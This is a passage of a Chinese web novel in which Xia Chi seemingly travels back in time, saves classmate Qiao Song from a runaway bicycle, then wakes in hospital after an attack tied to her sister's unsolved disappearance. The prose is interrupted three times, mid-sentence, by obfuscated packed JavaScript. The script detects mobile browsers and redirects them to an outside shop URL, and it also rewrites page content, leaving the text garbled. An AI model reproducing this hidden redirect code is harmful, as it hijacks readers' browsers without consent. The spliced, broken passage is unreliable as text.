如果说陆尘是听音乐成瘾,钟景明就是游戏成瘾,他妈妈早年学过一门外语,厂里发不出工资后便主动辞职,利用这个优势去隔壁岛国打工。钟景明从小到大只要参加考试,第一名必须是他的,他妈妈根本不用担心成绩问题,所以家里便有了各式各样的游戏机和一柜子的游戏卡带。 而且他不仅仅是在家玩游戏,他在学校也玩,甚至是上课时间戴着耳机玩,用他的话说老师讲的那些东西过于简单听一听就会,完全不耽误一心二用。 事实证明他是对的,上高中后无论大考小考,夏迟和陆尘没有一次能把他从第一名的位置上踹下来。 这种学习天赋,真的让所有同学羡慕嫉妒恨。 察觉到身边的沉默,钟景明暂时停下游戏,抬手揉了揉微酸的脖子,问道:“你俩就坐这儿看我打游戏?” 夏迟:“也不是想看你打游戏,主要是太无聊了。” 钟景明给她指了个方向,“那边有个猴山。” 夏迟:“很好玩?” 钟景明:“很吵,吱哇乱叫。” 没等夏迟想明白他这话是不是在影射谁的时候,远处又走来几个身穿校服的男生。 “哎,杜司宇!”夏迟开心的朝他挥手,“好久不见。” 杜司宇是红姨的儿子,他家也在206住宅,虽然没有陆尘住的那么近,但也算是从小一起玩到大的。然而就如同陆尘一样,他们分别后,就再也没有见过。 杜司宇走到近前,故作惊讶,“我靠,不是吧,咱俩就一天没见,你就这么想我?” 夏迟诚恳道:“是是是,我可想你了。” 认识夏迟这么多年,直觉告诉杜司宇现在的夏迟好像有哪里不对,于是下意识的寻求帮助,“陆尘,她咋了?是不是你俩又吵架你把她给气傻了?” 这可真是天上掉下好大一口锅,陆尘懒得解释,“嗯,你们接下来要去哪儿?快把这个傻子带走吧。” 杜司宇:“啊?我也不知道啊,我们刚从那边的猴山过来,你是没瞅见,那猴子上蹿下跳嗷嗷叫着管人要吃的,老逗了。” 他刚想问问旁边的林森和赵鹏,扭头就见这俩人已经跳到长廊外面,从身后扒着钟景明的肩膀,眼睛放光的盯着他手中的游戏机,“牛逼啊,这是新款吧,还是彩色的。” 这个年纪的男生对游戏机情有独钟,奈何不是每家都能额外负担这些消费,也不是所有家长都能像钟景明妈妈那样开明,他们只能偷偷攒下零花钱去游戏厅,或者在钟景明打游戏时强势围观。 钟景明给人感觉性格较冷,也不怎么主动理人,只喜欢沉浸在自己的游戏世界中,在班里也人缘一般。可没办法,他有游戏机,还有各种各样的游戏卡带,所以即便他性格如此,他的身后也总有男生忍不住上前围观。 杜司宇也不例外,一听是新款,注意力立刻被吸引过去,眼睛直勾勾的盯着绚烂的彩色画面,“这是啥游戏啊?” 钟景明:“塞尔达传说梦见岛。” 杜司宇:“梦见岛是个岛名吧,塞尔达是什么?” 钟景明:“是个人。” “哦。”杜司宇楞楞应了一声,他指着画面上的像素小人,瞪着天真的大眼睛又问道:“那这个人就是塞尔达吗?” 钟景明:“他叫林克。” 杜司宇疑惑,“那塞尔达又是谁?主角不是林克吗,为什么叫塞尔达传说,为什么不叫林克传说?” 钟景明:“……” 他慢慢扭头看向旁边的陆尘。 然而陆尘像是根本没收到他想要传达的信息,起身整理好自己的书包,“夏迟,咱俩去那边走走。” 夏迟心领神会,得意的拍拍钟景明肩膀,钟景明嫌弃的直往后躲,她也不在意。 ——你不是刚才嫌我俩吱哇乱叫吗?现在好好让你体验一下。 …… 为了让学生们尽可能的放松,各班老师虽然有规定午餐地点,但却没有强制,很多人都是找几个关系好的同学,或是去长廊,或是去花坛,还有从家里拿了超大一块塑料布铺在草坪上野餐的。 夏迟跟着陆尘简单看了一圈,没有看到夏晚,也不知道她和她的小姐妹们疯去哪里了。 “去哪儿吃啊?”陆尘无聊的直打哈欠,“早知道这么无聊还不如躺家里听歌呢,浪费时间,浪费生命。” “哎呀,懒死你得了。”夏迟四下看了看,最后看中一处卖汽水的铁皮屋,它的周围有摆好的塑料桌塑料椅,绝对是个吃饭的好地方。 她毫不避讳的直接挎着陆尘的胳膊,拉着他来到小摊前,“阿姨。” “诶,要买什么?” “我们是来这里玩的学生,外边那些桌椅是你家的吗,我跟你买两瓶汽水能坐那儿吃饭吗?” 那些桌子本来就是夏天买冷饮才用得上的,现在虽然摆着,但也没什么客人会用,她看夏迟买了东西还笑呵呵的,也就没有拒绝,“可以,但你们记得把垃圾收走。” “好嘞。” 夏迟付完钱后,拉着陆尘舒舒服服的坐下,自夸道:“我真棒,这不比端着饭盒吃得劲儿?” 陆尘闻言看她一眼却没有接话。 饭菜都是早上现准备的,夏国强知道孩子们的口味,给他们带了柿子炒鸡蛋和孜然肉片。夏迟将柿子炒鸡蛋倒扣在白米饭上面,用勺子全部拌好,盛起一大口送进嘴里,酸酸甜甜再加上蛋液的香气顿时爆满口腔,“唔……就是这个味道,太香了。” 这一刻,陆尘居然在她脸上看到了幸福的表情,疑惑道:“你吃饭的时候能不能正常一点?” 夏迟:“咋不正常了,你觉得不好吃?” 陆尘:“我什么时候说不好吃了,我是说你,这菜夏叔每周都做,以前怎么没见你这么夸张。” 夏迟心说那能一样吗。 自她回家后,虽然夏国强每天都乐呵呵的做饭做菜,但也不知道是不是心理原因,总觉得饭菜差了点味道。 现在终于吃到原版的了。 “要你管,我乐意。”夏迟又盛起一大口,狠狠塞进嘴里,突然间又想起陆尘将来要出国的事,“其实我建议你趁此机会好好和我爸学一下做饭,你看我爸手艺那么好,不偷学一下多可惜。” 陆尘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959398|136739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“用不着,我能做点简单的对付几口就行。” 夏迟:“那也不能只是对付啊,万一哪天你离开了这里,一个人孤零零的在外面想吃家乡菜了怎么办?到时可没人给你做正宗锅包肉。” 陆尘:“去饭店买呗。” 夏迟:“万一饭店不卖呢,万一你去的地方没有这种饭店怎么办。” 陆尘咽下嘴里的饭,略带探究的看着她,“你到底想说什么?” 夏迟:“没什么啊,就是提个醒儿,还有啊,你要记得好好学英语……不对,你英语本来就挺好的,上次期末考试还比我高两分呢。” 陆尘:“哦,好好学英语,然后呢?” 夏迟:“然后……就没什么了。” 陆尘:“真的?” 夏迟:“真的。” 陆尘:“真的是真的?” 夏迟:“真的是真的!” 陆尘:“行,你说你今天是在做梦,我就把你说的都当成是梦话,那你这个梦还要做多长时间,你什么时候能醒过来?” 然而这次夏迟却沉默了,她低头用勺子戳着饭,闷声道:“不知道,其实我倒宁愿这个梦一直不要醒。” 陆尘:“为什么?” 夏迟:“因为梦醒了,我就什么都没有了。” 现在的她有健康的爸妈,有活蹦乱跳的姐姐,还有愿意一直陪着她的陆尘,这样的美梦是她以前想都不敢想的。 不过,她早晚都要面对梦醒时刻。 陆尘根本听不懂她在说什么,“什么叫什么都没有了?” 夏迟摇摇头,抿着嘴巴露出一个非常刻意的笑,然后拿起喝了一半的汽水,咕嘟咕嘟全部喝光,“嗝……爽!” 陆尘:“呵呵……别以为我看不出你在转移话题。” “你眼神不好,看错了。”夏迟放下汽水瓶,想了片刻,突然神神秘秘压低肩膀往陆尘那边凑,“好吧,我偷偷告诉你,但你不要告诉别人。” 陆尘:“……嗯。” 夏迟:“其实,梦醒之后我就要去拯救世界。” 陆尘:“怎么拯救?” 夏迟:“抓到坏人,然后将他绳之以法。” 陆尘:“……” 夏迟:“但有一个问题,我打不过他,我甚至被他干倒了,连脸都没看清。” 听罢,陆尘深吸一口气,觉得自己实在没法继续这个话题,于是给她夹了点自己的菜,“加油,努力,多吃点,吃饱了才有力气打坏人。” 现在的夏迟沉浸在自己的世界中,也就没有意识到陆尘话语中那点小小的嘲讽。 结束了午饭,夏迟将饭盒收好,刚背上书包就见旁边一个小朋友开着园内租赁的卡通车路过。 车子被涂成了青蛙的模样,播放着有些劣质又刺耳的音乐,但小孩却玩的很开心,在家长的指挥下开着小车转了一圈又一圈。 夏迟猛然想起一件事。 陆尘退汽水瓶回来,就见夏迟死死盯着那边的小孩,“看什么呢?” 听见他的声音,夏迟突然回头,下意识的紧紧抓着他的胳膊,“乔颂呢?你知道乔颂现在在哪儿吗?!” 9. 第九章 “嘶……”陆尘被她过大的手劲儿抓的胳膊疼,“我哪儿知道啊,你找他干嘛?” 夏迟着急的直皱眉,“当然是救他啊。” 在夏迟的记忆中,就在今天,就在这个游乐园,乔颂被一辆冲向下坡的失控自行车撞倒,手背差点被路边灌木树枝刺穿,留下一个非常明显的疤痕。 换成别人伤口好了就好了,留疤也没什么影响,但乔颂不一样,每次上妆时化妆师都得花大量时间来遮挡这个疤痕,是个相当麻烦的事。 夏迟现在关心则乱,她忘了从入园到现在,陆尘一直和她在一起根本不可能知道乔颂的位置,待冷静下来后做了几次深呼吸,又问道:“你知道哪里有斜坡吗?长长的斜坡,可以骑自行车的那种。” 陆尘:“……” 他抿着嘴巴略显无语的盯她片刻,转身又去到铁皮屋,找卖汽水的阿姨问了一下。 “在摩天轮后面,往异兽馆那边走。” 得到准确信息的夏迟喜笑颜开,拍了拍陆尘的肩膀,“你在这儿等我一下,我马上就回来。”说完便把书包塞到陆尘怀里,大步朝那边冲了过去。 “你不说是做梦吗?梦里干嘛那么激动!”陆尘撇着嘴巴,不满的小声嘀咕,“靠,麻烦死了。” 他看着夏迟逐渐远去的背影,脑袋里一团乱麻,但最终还是背上两个人的书包,也追了上去。 异兽馆距这边也就几百米,夏迟跑着找了几分钟后果然见到了那个斜坡,同时也见到了正在坡下面路过的几个身穿校服的身影。 是乔颂和另外几个同学,他们吃过了午饭,正在商量接下来要去哪里玩,丝毫没有意识到即将到来的危险。 夏迟跑的气喘吁吁,站在路边弯腰撑着膝盖,“乔颂!快离开那儿!” 与此同时,一辆失控的自行车出现在夏迟视线中,而下面的乔颂只听到了夏迟的呼喊,由于弯道的视线盲区根本没有看到那辆自行车,甚至还开心的朝夏迟挥手打招呼。 ——来不及了。 自行车速度太快,夏迟没有时间和他解释具体情况,于是她心一横一咬牙,待自行车冲到身边时便飞扑上去,二人一车翻滚在地,借着下坡的冲劲儿滚了好远才停下来。 “夏迟!!!” 目睹了这一幕的陆尘吓的大脑充血,以最快的速度冲到了夏迟身边。 “没事、我没事……”夏迟脑袋昏昏沉沉,肾上腺素让她忽略了身体的痛感,让她觉得自己没有大碍。 “没事个屁!”陆尘将两个书包丢到地上,单手抱着夏迟,又托着她那只被水泥路面蹭到满是鲜血的手,“你特么非得被撞死才有事是吧!” 这时,乔颂他们几个也冲了过来,见到夏迟这样顿时慌了手脚。 这边距离游乐园后门很近,思忖片刻,陆尘脑内就有了对策,他把两个书包丢给乔颂,“去找老韩说明情况,然后把书包交给夏晚,我先带她去医院。” 乔颂抱着两个书包急的满头大汗,纠结道:“要不我和你一起去吧。” 陆尘:“不用。” …… 医院检查的结果只是擦伤,给夏迟消了毒缠了绷带,叮嘱回去吃点消炎药伤口别碰水,剩下的等伤口自己长好就行。 陆尘带她打车回家。 手上的伤口虽然看着吓人,但并不严重,还赶不上夏迟小时候淘气从树上摔下来的那次,所以她根本就没当回事,进了家门先去换了衣服,然后便大咧咧的坐在沙发上打开了电视。 等陆尘换完衣服过来,就见夏迟正拿着遥控器漫无目的的换着电视频道。 “陆尘。”夏迟笑嘻嘻的叫他,“我想吃东西了,你帮我看看冰箱里还有什么。” 陆尘熟门熟路的去到厨房,从冰箱里取出一罐黄桃罐头,拧开后倒在碗里,又从牙签盒里拿出两根牙签插在黄桃上。 他来到夏迟身边坐下,把碗递给她,“自己拿着吃。” “好嘞。”夏迟先叉起一块喂给他,“来来来,辛苦了哈。” 陆尘毫无负担的张口接过。 甜甜的黄桃加上冰凉的汁水,简直是治病疗伤的神药。 “哇,舒坦……”夏迟吃光了一整碗黄桃,连汁水都喝的干干净净,把碗放到茶几上后,她微仰着头靠在沙发上,感慨道:“今天过的真刺激。” 看着她手上渗血的绷带,听着电视里枯燥的新闻播报,陆尘莫名觉得心头烦躁,他拿起遥控器将电视调成静音,认真道:“别看了,我觉得你应该好好和我解释一下。” 夏迟歪头看向他,“解释什么?” 陆尘:“废话,当然是今天发生的事,从早上开始你就一直不正常,别和我说什么你在做梦,这借口你糊弄鬼啊?” “哦……”闻言,夏迟神秘兮兮凑到他的耳边,“那我可说了啊。” 陆尘:“嗯,说吧,我听着呢。” 夏迟:“其实,我是通过梦境穿越了。” 陆尘:“……” 夏迟:“穿越你懂不?就是一个人从原本的时代去到了另一个时代,形式是多种多样的,比如跳楼、比如接触到了什么媒介、再比如……” “夏迟。”陆尘打断了她的话,“我觉得刚才在医院,应该让大夫顺便检查一下你的脑袋。” 夏迟回到原本的位置坐好,嫌弃道:“你看你,我说了你还不信。” 陆尘:“你自己听听你说的什么,这些话说出来谁能信。” 夏迟:“那没办法了,要不你还是当我在做梦吧,梦游你总知道吧,梦游中的人是不能随便叫醒的,否则会变成傻子,我要真变成傻子下半辈子可就赖上你了,你自己小心点。” 陆尘:“……” 陆尘:“算了,你自己慢慢疯吧,夏晚回来叫她把书包拿给我。” 说着,他便起身准备回家。 “诶,陆尘。”夏迟跟着从沙发上起身,叫住了他,“等一下。” 陆尘转身,“又有什么事?” 夏迟笑眯眯的朝他张开怀抱,“来,抱一个。” 陆尘:“……” 然而这次不等他拒绝,夏迟主动抱了上去,感受着熟悉的体温,渐渐收紧怀抱,“不知道还能不能见到你,以后你一个人好好的,我今天说让你学学做菜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959399|136739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真不是跟你开玩笑,异国他乡也总得有点家乡的味道吧,但你要是真的更喜欢西餐就当我没说。” 今天莫名其妙的事情实在太多,陆尘的大脑稍稍过载,一时不知道先处理哪条信息。 夏迟在他怀里絮絮叨叨说着不知所谓的话,他也没有推开对方,就沉默着认真的听,于是二人谁都没有注意到开门声。 “哇哦……”夏晚也没想到自己一开门就能看到这样一副画面,她把三个书包放到地上,纠结道:“是我打扰你们了吗?要不你俩接着聊,我先去陆尘家里待一会儿?” “不用。”陆尘叹口气,“该回家休息的是我。” 陆尘走后,夏晚先是问了问妹妹的伤势,确定没事后,顿时燃起了八卦之魂,“诶,来说说,你和陆尘是不是发展出了什么应该把我刨除在外的感情?” 夏迟:“呵呵,您老问的可真委婉啊,你咋不直接问我俩是不是早恋了呢。” 夏晚:“诶呀呀,那多直白啊,不好。” 夏迟一个白眼丢过去,“没有,我俩怎么可能早恋。” 夏晚想了想,觉得也是这个道理。他们三个从小一起长大,夏迟要真的和陆尘互相喜欢,她没理由现在才发现,“那好吧,那你刚才是在干嘛?话说你今天到底咋了,乔颂和我说的时候差点没吓死我。” 夏迟:“他咋说的?” 夏晚:“他说你把车给撞了。” 夏迟:“……” 其实,从乔颂的视角来看,这话倒也没什么问题。 夏迟:“被我撞的那人呢?” 夏晚:“他和他朋友也是来游乐园玩的,在正门那儿租的自行车,但没想到刹车不好使这才从坡上冲下来,要不是你半路劫杀,估计摔的更重,人家挺感谢你的,还问了咱们是哪个学校,说你这是见义勇为要给你送锦旗呢。” 夏迟:“倒也不必……” 按照学校领导的尿性,人家要真送锦旗的话,一定会被安排在每周一的升旗仪式上,到时让双方站在领操台上进行一番感人肺腑的演讲,再将锦旗亲手交到夏迟手中,场下爆发掌声,校领导笑的春风得意,说不定还会以此为主题要求全校学生写一篇感言。 要真这样,夏迟自觉罪过大了。 入夜,夏国强和李桂梅回到家中,夏迟只说手上的伤是自己不小心摔的,夫妻二人也没太在意,毕竟她从小上蹿下跳,隔三差五擦破点皮太正常不过,只要不伤筋动骨,全都只是皮外伤而已。 到了睡觉时间,夏迟百无聊赖躺在床上,她觉得这个梦做到现在也差不多了,但她还是放心不下夏晚。于是从被窝里爬出来朝夏晚那边小声喊道:“你睡了吗?” 夏晚睡的迷迷糊糊,“干嘛啊……” 夏迟轻手轻脚下地,来到夏晚床边坐下,俯身对着她耳朵念咒语似的叨叨:“你千万要听话,不要早恋、不要跟妈吵架、也不要独自外出,更不要随便和陌生人说话,尤其不要跟着陌生人走,外面全是坏人,他们都要害你……” “诶呀!”夏晚被她吵的心烦,扑棱一下从床上坐起来,“烦死了,你到底让不让人睡觉啊!” 10. 第十章 一阵急速的失重感过后,夏迟的意识逐渐恢复,与此同时头上的痛感袭来,疼的她忍不住小声呻吟。 “夏迟……” 她刚一睁眼,就看见坐在床边一头白发满脸担忧的夏国强。 “爸……” “诶……”夏国强眼底遍布血丝,显然很久没有休息过了,他见到女儿醒过来嘴角总算有了点笑意,“醒了就好,醒了就好啊,告诉爸,身上还有没有哪儿不舒服的。” 夏迟迟钝的眨巴眨巴眼睛,看了一眼挂着的吊瓶,小声道:“脑袋疼……” 夏国强心疼的要命,“爸听见了,你好好休息,爸去给你找大夫,咱再开点止痛药啊。” 等夏国强离开,夏迟才慢慢打量这间病房。 是很舒适的双人间,没有其余的病人,也没有嘈杂的咳嗽谈话声,旁边那张床上躺着还在昏迷中的李桂梅。 看来梦真的醒了,她又回到了现实中。 几分钟后,大夫随着夏国强来到病房,简单检查了一下夏迟的伤势。 “人醒了就没事,等之后再带她去拍个片,这两天注意饮食清淡,还有,脑震荡患者可能出现恶心、耳鸣、畏光等症状,还可能短暂的意识丧失,别担心,过段时间就好了。” “诶,谢谢大夫,我姑娘说头痛,能再开点止痛药吗?” “那东西用多了不好,疼的不严重的话就稍稍忍一忍。” “诶,好的好的,谢谢大夫了啊。” “没事,咱们双人间的床头有呼叫器,下次找人直接按铃就行,不用再大老远的跑一趟。” “嗯嗯,谢谢大夫……” 送走了大夫,夏国强重新回到床边的椅子上坐下,“咱先忍一下,等出院了爸给你做好吃的。” 脑袋里面仍旧昏昏胀胀带着无法忽略的钝痛感,但夏迟不想再让爸爸担心,努力挤出一个笑容,“嗯,就是刚醒的时候有点疼,现在都好了。” 夏国强:“那就好,那就好……” 他的背上仿佛压着一座沉重的大山,坐在那儿佝偻着身体,微低着头,许久过后,偷偷抹了一把眼睛,自责道:“爸不该叫你回来的,爸对不起你……” “瞎说什么呢。”夏迟没有太多的力气,缓缓轻声道:“你不叫我回来我才会怪你的。” 她不想再在这个话题上纠结,转而说起了病房的问题,“爸,你是怎么订到这么好的病房的,两人间真好,我还能帮你一起照顾妈。” 夏国强:“这还多亏了你那个同学。” 夏迟遇袭那天,乔颂正好下飞机,他知道夏迟家的位置,在姥爷的旧房子安顿下来后就想着来这边看看,谁想到他进单元门的关门声点亮了所有楼层的感应灯,凶手察觉后生怕暴露,立刻放弃了昏倒的夏迟。 乔颂和凶手在二楼擦肩而过,等他发现夏迟拨打120后再报警,凶手早已逃之夭夭。 跟随夏迟来到医院后,乔颂特意找了认识的朋友,在拥挤的医院中安排了一个双人间病房,也是为了方便夏国强照顾。 二人正说着,乔颂推门而入。 “夏叔叔。”乔颂礼貌的打招呼,“我已经和朋友说好了,夏迟和阿姨有什么需要的就找他们,千万别客气。” “谢谢你啊小同学,这次的事多亏你了。” “叔叔你可别和我见外,我和夏迟多少年的朋友了,平时也没少受她关照,朋友之间遇到事情互相帮忙很正常,别往心里去。” 乔颂瞥见病床上的夏迟已经醒了,又劝道:“你照顾一晚上了,赶快去歇歇,白天我帮你看着。” 到了这个岁数再加上癌症在身,夏国强确实有点撑不住,也就没有拒绝乔颂的好意,“那好,麻烦小同学你帮我盯一会儿,我去沙发上眯一觉,有事就叫我。” 眼看夏国强沾枕头就睡着,乔颂无奈叹了口气,坐在床边的椅子上,张开右手在夏迟眼前晃了晃,“嗨,还认识我是谁吗?” 夏迟:“认识,我在电视上见过你,一个大明星。” “噗——”乔颂握拳抵在唇边,不敢笑的太大声,“拜托有点良心好不好,我为了你的事跑了三天,刚一见面就这么调侃我。” 夏迟:“哪次不是这么调侃你的。” 乔颂:“唉……行吧,反正我都习惯了。” 他伸手摸了一下输液管,又试了试夏迟手腕的温度,“怎么这么凉……”他小声嘀咕一句,然后便将输液管缠在自己手掌上,用自己的体温去温暖里面的药液。 “对了,关于那个凶手……”乔颂觉得夏迟应该好好休息,但他也知道对方肯定放不下这件事,也就没有隐瞒,“我已经把知道的告诉警察了,等他们知道你醒了肯定会来给你做笔录。” 说着,他下意识的向前凑近一点,压低声音,“你先跟我透个底,你觉得袭击你的那个人,和当年夏晚的事有没有关系?” 夏迟思考片刻,轻轻点了点头。 虽然年底是入室抢劫伤人案的高发期,可这件事实在是太凑巧了。而且夏迟还有一种很不好的预感,“乔颂,我觉得那个凶手,应该是个我认识的人,至少也是见过几面的那种。” 乔颂一惊,“你说什么?” 夏迟:“我爸一直记着当年的事,我不想让他担心,回来这段时间,除了买菜和陪我妈去医院外从来不出门,凶手又是怎么知道我回来的。” 乔颂想了想,“206这边住的都是当年的老邻居,如果是他们中的人……” 夏迟:“对,我也不想怀疑他们,可如果不是这样,那就只是单纯的伤人案、或者是那个凶手偶然在路上见到了我。” 乔颂:“但要真是这样的话,他们不会那么容易得到你家的地址。” 能趁夏迟出门时从背后偷袭,对方显然早有预谋。 乔颂有些烦躁的靠回椅背,“这都十多年过去了,那个凶手为啥对你这么执著呢,他有毛病吧。” 夏迟:“杀了那么多人,他可不是有毛病吗。” 乔颂:“那这件事你打算怎么处理?” 夏迟:“嗯?什么意思?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959400|136739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 乔颂:“警察查了十多年都没找到凶手,你觉得这次他们能查到吗?” 说起这个夏迟就觉得那天晚上真的太可惜了,“我本以为,他总得等我到了江边再动手,所以没有防备,被他一下敲懵了,我至少应该扯下他的口罩看清他长什么样子,或者抓破皮肤组织留下DNA的。” 那天,乔颂和120一起把她送到医院后,曾在她口袋里找到一把水果刀,起初以为是她用来防身的,没想到她是真的想以自己为诱饵引出凶手,甚至可能抱着同归于尽的想法。 一时间,乔颂脸色有点差,但他明白现在并不是责怪夏迟的时候。 夏晚的离开是她心中解不开的结,事到如今,因为这件事她几乎闹到家破人亡,换了谁都不可能坦然放下。 他没有立场去劝夏迟,也不可能让她当做什么都没发生过。 乔颂:“我知道你有你的坚持,这件事怎么处理我听你的,咱们先好好配合警方调查,私下里你要是还想调查点别的,就告诉我,这方面我没有认识的朋友,但帮你联系联系别人找找关系还是可以的。” 夏迟:“嗯,好,我们小乔最厉害了。” 乔颂从小学习舞蹈,高中时体态纤细肌肉匀称,说话又很温柔,好多男生都叫他小乔,本意是调侃,但乔颂并不反感这个称呼,后来大家习以为常就一直这么叫了。 “好久没听人这么叫我了。”想起高中时光,乔颂还是很感慨的,那时他在家里生活的并不好,不着家的爸爸还有发疯的后妈,天天过得受难似的,“早知道咱俩现在关系这么铁,那时候我就该多去找你玩。” 夏迟叹气,“还好没有,要不被老韩看到了,还以为咱俩要早恋呢。” 乔颂:“早恋不好吗?” 夏迟:“你愿意当着全校师生的面、在国旗下念检讨书?” 乔颂:“如果我真喜欢对方,念就念呗,人不轻狂枉少年。” 夏迟:“果然和那时不一样了,我可想象不出高中时候的你能说出这些话,诶你记不记得高一春游,你被一辆自行车撞倒手上留了好大一个疤,那段时间你天天犯愁如果将来还能跳舞的话,这个疤会不会影响舞蹈老师对你的评价,那个多愁善感的模样,大家就差改口叫你林妹妹了。” “嗯?”乔颂懵懵的看着她,“我什么时候手上留疤了?” 眼看吊瓶就要见底,他放开手上的输液管,向她展示自己的双手,“都好好的,没有疤。” 这次懵逼的变成了夏迟,“怎么可能,高一春游,我们去的游乐园,你明明……” ——不对啊,为什么记忆会出现了偏差。 “大夫说脑震荡会短暂失忆原来是真的。”乔颂惊讶道,“咱们高一春游确实去的游乐园,那天也确实有一辆失控的自行车,但不是被你拦下来了吗?” 回想起这些,乔颂都笑了,“当时我就在坡下看着你,没想到啊,你连人带车一起扑倒,那个车主还说你见义勇为要送你锦旗,虽然后来没送,但那天受伤的人确实是你啊。” 11. 第十一章 吊瓶见底,乔颂及时帮她拔掉针头,轻轻按压着出血点。 看着那双白皙且没有任何伤痕的手,回想起梦境中的一切,夏迟不得不承认一个事实。 那可能不是一个梦,而是她真的回到了过去,甚至用自身的行为影响到了未来。 “别担心。”乔颂以为她因为记忆混乱产生了负面情绪,立即安慰道:“大夫说这都正常,过两天就好了,也不会留下什么后遗症。” 夏迟决定最后试探一次,“那我受伤后呢?是你送我去的医院吗?” 乔颂摇头,“不是啊,是陆尘。话说这些年你和陆尘怎么一点联系都没有啊,你俩现在……” 咚咚咚—— 外面的敲门声打断了乔颂的话,他起身过去开门,看见一男一女两名警察。 两名警察公事公办,进来先问了夏迟的身体状况,然后便开始讯问笔录。夏迟把自己想起来的通通告诉了他们,但却没说自己是故意引凶手现身,只把这次描述成了一次意外。 做笔录的警察没有听出任何异常,“或许,你还记得十几年前你姐姐的案子吗?” 藏在被子下面的手掌兀自攥成拳头,夏迟面不改色,“记得。” 警察:“我们怀疑这次袭击事件可能与你姐姐的案子有关。” 夏迟:“你的意思是,袭击我的人很可能就是杀害我姐姐的凶手?” 虽然夏晚一直被当做失踪处理,但这么多年过去,到底是什么结果,大家也都心知肚明,现在夏迟用杀害这个词,警察也没觉得有什么问题,“对,所以请你再回想一下细节,这对我们抓获凶手会有很大帮助。” 夏迟:“好的,我明白了,但我现在确实想不起来太多。” 大夫的诊断结果摆在这里,警察对她的话没有丝毫怀疑,正要结束问询时,门外又冲进来一人。 这人六十来岁胡子拉碴,头发乱糟糟的仿佛刚刚睡醒,身上的衣服虽然洗的掉色,但勉强算得上干净整洁,他大步冲到夏迟床前,语气急切,“你就是夏迟?我是市刑侦支队队长乔万年,关于这次的袭击事件,希望你能积极配合我们的工作。” 没等夏迟张口说话,他的身后突然传来一身冷哼。 循着声音望去,乔万年这才看见一直站在床尾的乔颂。 时隔多年父子俩再次相见,没有任何的温馨寒暄,反而是一副仇人见面的姿态。 乔万年眉头紧锁,“你怎么在这儿?” 乔颂:“这话该我问你才对,乔队长,哦,不好意思,是前队长,你已经退休了怎么还掺和警局里的事,二位警官,他这算不算是违规。” 面对自己的老领导,这俩人一时无言,略显尴尬的站在原地。 当然,乔颂也没指望他们能给出什么答案,他绕过这两个木头,强行站在了乔万年和夏迟中间,“刚刚已经做完了笔录,我的朋友需要休息,请你立刻从病房里出去,否则我会去投诉你。哦,抱歉,我又忘了你已经不是队长了,投诉是没用的,我该做的是找个优秀的律师。” 乔万年气的手指发抖,但乔颂说的句句属实,他没有借口反驳。 从退休的那一刻起,警察这个身份便再与他无关,他没有任何立场再参与对凶手的抓捕。 哪怕这件案子一直由他负责。 “老队长,先回去吧。” 曾经的下属在旁边好声劝导,乔万年却固执的站在原地动也不动,他抬眼看向乔颂,尽量压住火气心平气和的与他交谈,“她是唯一的生还者,如果……” “滚。”乔颂面露微笑,从牙缝里挤出一个字。 “你!!!”乔万年青筋暴起,逼近一步,恶狠狠指着乔颂,“你知不知道这是在妨碍公务?!就因为你的阻挠,凶手很可能再次逍遥法外!” 乔颂满不在乎,“前队长,你搞错了一个问题,那就是在此之前,凶手已经逍遥法外了十多年,这不能算在我的头上吧。” 他讽刺意味明显,如果不是乔万年没能早早抓住凶手,夏迟也不至于还要遭这份罪。 说完,他看了一眼乔万年身后的警察,“非警队内部人员进入受害者病房违规取证,如果一分钟内你们不让他从我眼前消失,我就去投诉你们。” 在两个前下属的拉扯下,乔万年纵使万般不情愿,也不得不暂时离开病房。 “唉,你何必呢。”夏迟躺在病床上,沉默着看了好大一场戏,“知道你烦他,当没看见不就得了,何必和他生气。” 乔颂重新坐下,“就是看不惯他那样,都退休了,还耍什么威风。” 夏迟:“行了行了,不生气了啊。” 乔颂长出一口气,“嗯,不想他了,说说你是什么想法吧。” 刚才夏迟并没有和盘托出,乔颂就猜到她还有别的计划。 夏迟:“能和我说说你妹妹的事吗?你所知道的,或者猜的也可以。” 闻言,乔颂一怔,反应了好久才意识到她说的是谁,“乔雅?” 夏迟:“嗯。” 她是乔颂同父异母的妹妹,遇害时才小学二年级,被人反绑双手后掐死丢在操场一角的公共厕所,由于来往人员较多、地面痕迹过于复杂,警方没有找到有用的线索。然而就在一个月后,又一个受害人出现,捆绑手法和死亡方式与乔雅如出一辙,警方将两起案件并案调查,所以乔雅也被认定是这起连环杀人案的第一个受害人。 